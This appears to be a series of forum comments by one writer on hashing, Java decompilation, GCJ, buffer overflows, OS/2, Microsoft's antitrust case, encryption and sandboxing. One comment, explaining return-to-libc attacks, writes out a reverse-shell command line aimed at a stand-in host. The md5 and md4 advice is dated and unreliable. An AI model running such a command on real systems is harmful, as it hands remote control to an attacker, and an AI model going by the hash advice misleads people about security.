If you want fast and strong file integrity checking and are not concerned about willful deceit, I would suggest a concatenation of (Adler32, file modulo 2**32-1, CRC64). This will be significantly faster than md5. You could replace CRC64 with CRC32, 64-bit addition of all 64-bit blocks, or XOR of all 64-bit blocks, but this will reduce the strength of your integrity checks.
md5 is about 33% slower than md4. If you want something pre-implemented that does 128-bit checks fast and kinda-sorta-cryptographically robust, md4 is an option. However, if speed doesn't matter to the point that you're not using something fast like the concatenation I mentioned above, you might as well go right to sha-256 or sha-512. If you want cryptographic security then use it and while you're paying for it in CPU cycles, pay the little extra to do it right. Either you need security or you don't.
There have been colissions found in the md5 round function, but I believe these rely on getting the chaining variables set to some class of weak values. The design of md5 depends on its round function being strongly collision resistant for all values of the chaining variables. This does not mean that md5 is broken yet, but it is not good news.
md5 still looks perfectly good as a one-way pseudo-random function (uses like entropy gathering and password files). It also appears to provide 128-bit weak collision resistance in the strict cryptographic sense. This means it still looks okay for file integrity checks. However, the weaknesses found in the round function suggest it does not provide 128-bit strong colisison resistance and should not be used for electronic signatures. (Okay, there are situations where a weakly collision resistant hash function is acceptable in digital signatures, but you really have to know what you're doing. It's best to play it safe.) I'm not sure if any difinitive work has been done regarding the consequences of the round function weaknesses on the weak collision resistance of md5. Persionally, I would only use md5 as a one-way pseudorandom function and assume it is not even weakly collision resistant.
In other words, md5 likely does not provide 128 bits of integrity. However, as far as the public knows, no attacks have been found yet.
It is very likely that the first 128 bits of a sha-n digest make a more secure hash function than md5. I'm actually pretty surprised that this is not more widely publicized.
Would XP even install on such a machine? With 288 MB (256 + 32) of RAM and a 7,200 RPM HD, Linux runs great as long as I don't use a heavyweight window manager.
I once used a hex editor to edit my bootloader and misaligned the partition information. This had the same effect as this worm. Luckily, I had a spare Linux install on my backup drive and had a bootloader on the second drive as well. The repair wasn't that bad using gpart, but 90% of the poeple out there would freak out and reinstall MS Windows (overwriting their data) if their partioning information was lost.
After that, I decided to keep a "hard copy" of my partition information.
FYI, "FAT tables" is a redundant phrase.
Do you really expect us to believe more than ten people worldwide run Windows on their firewalls? ;-)
Sun realizes SPARC is in trouble. They recently announced they will be ditching SPARC and partnering with AMD and building high-end x86-64 systems.
There are Java bytecode obfuscators out there that will foil at least some decompilers. Using a class file compressor that makes class, method, and field names as short as possible will make the decompiled Java bytecode about as useful as dissasembled native code.
If you're relying on nobody being able to decompile your code, native compilers won't help you much. Native code can be disassembled.
Most companies don't even strip their native binaries before shipping them. Reverse-engineering is a non-issue for most companies or else they realize that it takes far less energy to break most ant-reverse-engineering measures than it takes to create them.
Decompiling is really a non-issue for 99.9% of potential users.
I've used GCJ some before and lurked a little on its developer's mailing list. GCJ is just another front-end to GCC. GCC has a C front-end, a C++ front-end, a Fortran 77 front-end, etc. The "source code" GCJ takes in is either Java byte code or Java source code and generates RTL code. The GCC back end then translates the RTL code into native code just like it would if you had started with C++ code (Java objects are treated almost identically to C++ objects internally). libgcj is simply a native Java runtime just like libc is a native C runtime. libgcj contains code for all of the Java 1.1 standard library. libgcj has things like System.out.println() whereas libc has things like fprintf().
GCJ "merely makes calls to libgcj" in the same sense that g++ merely makes calls to libstdc++. What is it exactly that you think a compiler and runtime system do?
Have you ever done any Win32 assembly programming? A good percentage of your code tends to end up looking like assembly glue code for a lot of the Win32 C library code.
libgcj does contain a java bytecode interpreter because it needs to be able to load and run arbitrary class files at runtime that might not be available at compile time. However, it would be much much slower than a modern JIT JVM if it interpreted all of the classes.
GCJ binaries might even be a little harder than g++ binaries to reverse-engineer due to the automatic garbage collector jumping in and taking you on tangents every once in a while.
You can still upload data and have it interpreted as arguments to a library call (or any function call, for that matter).
You basically smash the stack with the strings "sh" , "-c", and "telnet evil.com 666 | sh | telnet evil.com 667" and some pointers to those strings and make sure the return address on the stack gets altered to the entry point for exec() and you've got yourself a reverse telnet session in the context of the program you just exploited. (And a likely very bad daemon crash as soon as you end the reverse telnet session and the exec() call returns.) This has been well known for a long long time. Non-executable stacks don't always prevent exploitation of buffer overflows.
Do you mean the halting problem? It has nothing to do with self-modifying code. Look up the standard proof that the halting problem is unsolvable in the general case. It's a very simple and elegant proof that still holds if you don't allow self-modifying code.
Note that the halting problem is solvable for any machine with a finite number of states (as opposed to a universal Turing machine).
Umm... seperate write/execute memory page permissions are not a userspace/kernel seperation mechanism. User/kernel space seperation has existed in the x86 family since the 386 introduced rings. Microsoft choose not to cleanly seperate kernel and user space. However, the 386 is fully capable of hardware-enforced protection of the OS (typically ring 0 code) from all userspace programs (typically ring 3 code), no matter how mallicious.
It actually doesn't completely solve any problems. Rings can be used to prevent buffer overflows in user code from doing anything the haijacked program was restricted from doing in the first place. (See mandatory access controls and capabilities.) Non-executable stacks and heaps don't do anything in that sense. On the other hand, non-executable stacks and heaps do further restrict the conditions under which a buffer overflow is exploitable. However, we've known for a long time how to smash the stack and execute libc code instead of executing code on the stack. I believe almost two decades ago "Mudge" wrote a text file on constructing buffer overflows in SunOS machines with the non-executable stack feature enabled.
Don't get me wrong. This is a huge help for security (and helps in debugging by making bad code die closer to the problem), but it doesn't mean we're free from exploitable buffer overflows. Maybe I totally misunderstood your post, but it sure sounded like you were saying that up until now the x86 family was unable to enforce kernel/userspace protection.
MS intentionally made applications that would crash on OS/2.
Supposedly OS/2 would run a lot of Win16 programs better than any MS Windows varaiant at the time. (Where "better" means fewer OS crashes and/or fewer application crashes, I believe.)
OS/2 may well have been priced higher than MS Windows, but I hear it was a better Windows than MS Windows itself.
In one way or another you can blame any commercial failure on price, but price may only be a symptom. Maybe OS/2 was fixing a problem that consumers didn't think they had. They obviosuly thought MS Windows was a good enough Windows to do the job most of the time. If OS/2 failed in price it meant that either the people setting the prices did it poorly or that consumer need for the features OS/2 provided could not cover the cost of developing those features.
I think OS/2 is finally being phased out of its niche markets, but I remember seeing a huge number of OS/2 cash registers long after OS/2 was dead in the consumer realm. I also hear a lot of ATMs (called "cash machines" or something in the British dialect) ran OS/2 for a long time. OS/2 was used where the costs of crashes were high, so that the extra stability of OS/2 more than made up for the price tag. Either IBM overestimated the size of the market segment that would pay for a better Windows or MS's efforts to level the playing field through intentional application bugs were successful. I suspect it was a combination of the two, but I have not studied the problem in depth.
They fear they do not have enough experiency buying judges. ;-)
<tangent>
On a side note, monopolies aren't necessarily illegal or even a problem. Microsoft was convicted of being an illegal monopoly. It leveraged its monopoly power in shady ways to enter new markets and damaged markets by throwing its wieght around.
If you claim Microsoft was merely a monopoly, it's much easier for others to defend Microsoft by saying it was being penalized for being successful.
The U.S. does not have free markets. The government provides certain unnatural protections for producers (copyrights, patents, trademarks, etc.) that inhibit truly free trade. The government also imposes limits on how much producers are allowed to inhibit the market's ability to choose the best products at the best prices (Sherman Anti-trust Act, etc.).
The problem wasn't that Microsoft had a huge percentage of the market share (a monopoly doesn't mean 100% market share). The problem was that Microsoft used its monopoly power to reduce freedom of the market. The market was less efficient as a direct consequence of Microsoft's actions.
Claiming MS got convicted of being a monopoly is like claiming Clinton got impeached for having an affair. Neither being a monopoly nor having an affair is strictly illegal. False testimony to Congress under oath and bullying markets are both illegal. (Was it purgery or obstruction of justice that got Clinton impeached?)
</tangent>
That is of course unless you were in the habit of using a locking screen saver or equivalent. Restarting the machine to get around the locked terminal would clear the encyption keys from RAM. Powering down the machine to seize it and take it off premesis would clear the encryption keys from RAM. Root exploits screw you over with any kind of encryption as all of RAM is available.
As long as you lock your terminal when you leave your chair, the main security difference between transparent and non-transparent encryption is non-root exploits.
One nit to pick. I think the SE Asian people group is spelled "Hmong", not "Mung".
Supposedly there are now more Hmong in the Minneapolis metro area than back in their native Laos. Many of them political refugees because so many Hmong helped the U.S. fight Communism in SE Asia.
On standard UNIX you would have to mount all user-writable partitions with the "noexec" option so that they could download the executable but couldn't run it. You'd also have to do something about perl, tcl, python, JVMs, and other interpreters/VMs.
Alternatively, you could use SELinux, TrustedBSD, EROS, Flask, one of several third-party Solaris kernel modifications, or some other OS that tracks users, roles, and capabilities (most commonly associated with Mandatory Access Controls, but MACs are not strictly necessary to give home users significant added protection from malware). (Yes, the Macintosh pun is quite obvious, don't go there.)
At the moment, the kind of fine-grained security necessary to prevent this kind of trojan without severely limiting users is pretty much only found in acadamia, classified environments, and a small percentage of corporate firewalls and other corporate infomation security boxes.
It's a shame most OSes don't come with easy to use sandboxes and per-application capability enforcement with easy to understand options like "let this program erase all of my files", "let this program read my credit card number, email, and other sensitive files", and "let this program spread over the net or send my social security number to foreign countries" so users will (at least at first) think twice about granting capabilities. Sure it's not perfect, but I would guess this would reduce the exponent on the exponential growth of a trojan like this by 25%. (Of course, my colon is far from omniscient, so I should have pulled that number out of my brain instead.) There will always be dumb users, but a little more user friendly security would make my implied tech support job with friends and family much easier. As long as they can run cute animations by default and the cute animations can't read/write files or open sockets, I think most of the people I talk through malware removal would be much much less likely to run into problems.